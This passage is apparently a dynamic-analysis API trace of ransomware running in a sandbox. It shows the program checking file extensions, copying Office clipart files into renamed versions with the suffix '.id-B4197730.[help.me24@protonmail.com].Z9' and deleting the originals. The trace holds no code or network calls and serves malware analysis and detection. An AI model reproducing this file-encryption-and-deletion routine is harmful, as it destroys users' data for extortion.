	[0176.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.859] lstrlenW (lpString=".1cd") returned 4
	[0176.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.859] lstrlenW (lpString=".jpg") returned 4
	[0176.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.859] lstrlenW (lpString=".doc") returned 4
	[0176.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.859] lstrlenW (lpString=".docx") returned 5
	[0176.859] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.859] lstrlenW (lpString=".pdf") returned 4
	[0176.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.859] lstrlenW (lpString=".xls") returned 4
	[0176.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.859] lstrlenW (lpString=".xlsx") returned 5
	[0176.859] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.859] lstrlenW (lpString=".ppt") returned 4
	[0176.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.860] lstrlenW (lpString=".zip") returned 4
	[0176.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.860] lstrlenW (lpString=".rar") returned 4
	[0176.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.860] lstrlenW (lpString=".bz2") returned 4
	[0176.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.860] lstrlenW (lpString=".7z") returned 3
	[0176.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.860] lstrlenW (lpString=".dbf") returned 4
	[0176.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.860] lstrlenW (lpString=".1cd") returned 4
	[0176.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.860] lstrlenW (lpString=".jpg") returned 4
	[0176.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.860] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0176.860] lstrlenW (lpString="J0107300.WMF") returned 12
	[0176.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0176.861] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2460) returned 1
	[0176.861] CloseHandle (hObject=0x54c) returned 1
	[0176.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220
	[0176.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0176.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0176.862] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.862] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0176.864] GetLastError () returned 0x0
	[0176.864] ReadFile (in: hFile=0x54c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x99c, lpOverlapped=0x0) returned 1
	[0176.865] WriteFile (in: hFile=0x36c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x9a0, lpOverlapped=0x0) returned 1
	[0176.866] ReadFile (in: hFile=0x54c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.866] WriteFile (in: hFile=0x36c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.867] SetEndOfFile (hFile=0x36c) returned 1
	[0176.867] CloseHandle (hObject=0x36c) returned 1
	[0176.867] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.867] SetEndOfFile (hFile=0x54c) returned 1
	[0176.870] CloseHandle (hObject=0x54c) returned 1
	[0176.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1
	[0176.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.872] lstrlenW (lpString=".doc") returned 4
	[0176.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.872] lstrlenW (lpString=".docx") returned 5
	[0176.872] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.872] lstrlenW (lpString=".pdf") returned 4
	[0176.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.872] lstrlenW (lpString=".xls") returned 4
	[0176.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.872] lstrlenW (lpString=".xlsx") returned 5
	[0176.872] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.872] lstrlenW (lpString=".ppt") returned 4
	[0176.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.872] lstrlenW (lpString=".zip") returned 4
	[0176.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.872] lstrlenW (lpString=".rar") returned 4
	[0176.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.872] lstrlenW (lpString=".bz2") returned 4
	[0176.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.872] lstrlenW (lpString=".7z") returned 3
	[0176.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.872] lstrlenW (lpString=".dbf") returned 4
	[0176.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.872] lstrlenW (lpString=".1cd") returned 4
	[0176.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.873] lstrlenW (lpString=".jpg") returned 4
	[0176.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.873] lstrlenW (lpString=".doc") returned 4
	[0176.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.873] lstrlenW (lpString=".docx") returned 5
	[0176.873] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.873] lstrlenW (lpString=".pdf") returned 4
	[0176.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.873] lstrlenW (lpString=".xls") returned 4
	[0176.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.873] lstrlenW (lpString=".xlsx") returned 5
	[0176.873] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.873] lstrlenW (lpString=".ppt") returned 4
	[0176.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.873] lstrlenW (lpString=".zip") returned 4
	[0176.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.873] lstrlenW (lpString=".rar") returned 4
	[0176.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.873] lstrlenW (lpString=".bz2") returned 4
	[0176.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.873] lstrlenW (lpString=".7z") returned 3
	[0176.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.874] lstrlenW (lpString=".dbf") returned 4
	[0176.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.874] lstrlenW (lpString=".1cd") returned 4
	[0176.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0176.874] lstrlenW (lpString=".jpg") returned 4
	[0176.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.874] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0176.874] lstrlenW (lpString="J0107302.WMF") returned 12
	[0176.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0176.878] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4136) returned 1
	[0176.878] CloseHandle (hObject=0x54c) returned 1
	[0176.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220
	[0176.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0176.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0176.879] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.879] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0176.880] GetLastError () returned 0x0
	[0176.880] ReadFile (in: hFile=0x54c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1028, lpOverlapped=0x0) returned 1
	[0176.885] WriteFile (in: hFile=0x36c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1030, lpOverlapped=0x0) returned 1
	[0176.886] ReadFile (in: hFile=0x54c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.886] WriteFile (in: hFile=0x36c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.886] SetEndOfFile (hFile=0x36c) returned 1
	[0176.887] CloseHandle (hObject=0x36c) returned 1
	[0176.887] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.887] SetEndOfFile (hFile=0x54c) returned 1
	[0176.890] CloseHandle (hObject=0x54c) returned 1
	[0176.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1
	[0176.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.894] lstrlenW (lpString=".doc") returned 4
	[0176.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.894] lstrlenW (lpString=".docx") returned 5
	[0176.894] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.894] lstrlenW (lpString=".pdf") returned 4
	[0176.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.894] lstrlenW (lpString=".xls") returned 4
	[0176.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.894] lstrlenW (lpString=".xlsx") returned 5
	[0176.894] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.894] lstrlenW (lpString=".ppt") returned 4
	[0176.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.894] lstrlenW (lpString=".zip") returned 4
	[0176.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.894] lstrlenW (lpString=".rar") returned 4
	[0176.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.894] lstrlenW (lpString=".bz2") returned 4
	[0176.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.894] lstrlenW (lpString=".7z") returned 3
	[0176.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.894] lstrlenW (lpString=".dbf") returned 4
	[0176.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.894] lstrlenW (lpString=".1cd") returned 4
	[0176.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.894] lstrlenW (lpString=".jpg") returned 4
	[0176.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.895] lstrlenW (lpString=".doc") returned 4
	[0176.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.895] lstrlenW (lpString=".docx") returned 5
	[0176.895] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0176.895] lstrlenW (lpString=".pdf") returned 4
	[0176.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.895] lstrlenW (lpString=".xls") returned 4
	[0176.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.895] lstrlenW (lpString=".xlsx") returned 5
	[0176.895] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0176.895] lstrlenW (lpString=".ppt") returned 4
	[0176.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.895] lstrlenW (lpString=".zip") returned 4
	[0176.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.895] lstrlenW (lpString=".rar") returned 4
	[0176.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.895] lstrlenW (lpString=".bz2") returned 4
	[0176.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.895] lstrlenW (lpString=".7z") returned 3
	[0176.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.895] lstrlenW (lpString=".dbf") returned 4
	[0176.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.895] lstrlenW (lpString=".1cd") returned 4
	[0176.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0176.895] lstrlenW (lpString=".jpg") returned 4
	[0176.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.896] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0176.896] lstrlenW (lpString="J0107308.WMF") returned 12
	[0176.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0176.897] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=15888) returned 1
	[0176.897] CloseHandle (hObject=0x54c) returned 1
	[0176.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220
	[0176.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0176.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0176.898] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.898] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.210] GetLastError () returned 0x0
	[0177.210] ReadFile (in: hFile=0x54c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x3e10, lpOverlapped=0x0) returned 1
	[0177.232] WriteFile (in: hFile=0x36c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x3e20, lpOverlapped=0x0) returned 1
	[0177.235] ReadFile (in: hFile=0x54c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.235] WriteFile (in: hFile=0x36c, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.235] SetEndOfFile (hFile=0x36c) returned 1
	[0177.235] CloseHandle (hObject=0x36c) returned 1
	[0177.236] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.236] SetEndOfFile (hFile=0x54c) returned 1
	[0177.245] CloseHandle (hObject=0x54c) returned 1
	[0177.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1
	[0177.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.247] lstrlenW (lpString=".doc") returned 4
	[0177.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.247] lstrlenW (lpString=".docx") returned 5
	[0177.247] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.247] lstrlenW (lpString=".pdf") returned 4
	[0177.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.247] lstrlenW (lpString=".xls") returned 4
	[0177.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.248] lstrlenW (lpString=".xlsx") returned 5
	[0177.248] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.248] lstrlenW (lpString=".ppt") returned 4
	[0177.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.248] lstrlenW (lpString=".zip") returned 4
	[0177.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.248] lstrlenW (lpString=".rar") returned 4
	[0177.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.248] lstrlenW (lpString=".bz2") returned 4
	[0177.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.248] lstrlenW (lpString=".7z") returned 3
	[0177.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68
	[0177.248] lstrlenW (lpString=".dbf") returned 4
	[0177.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
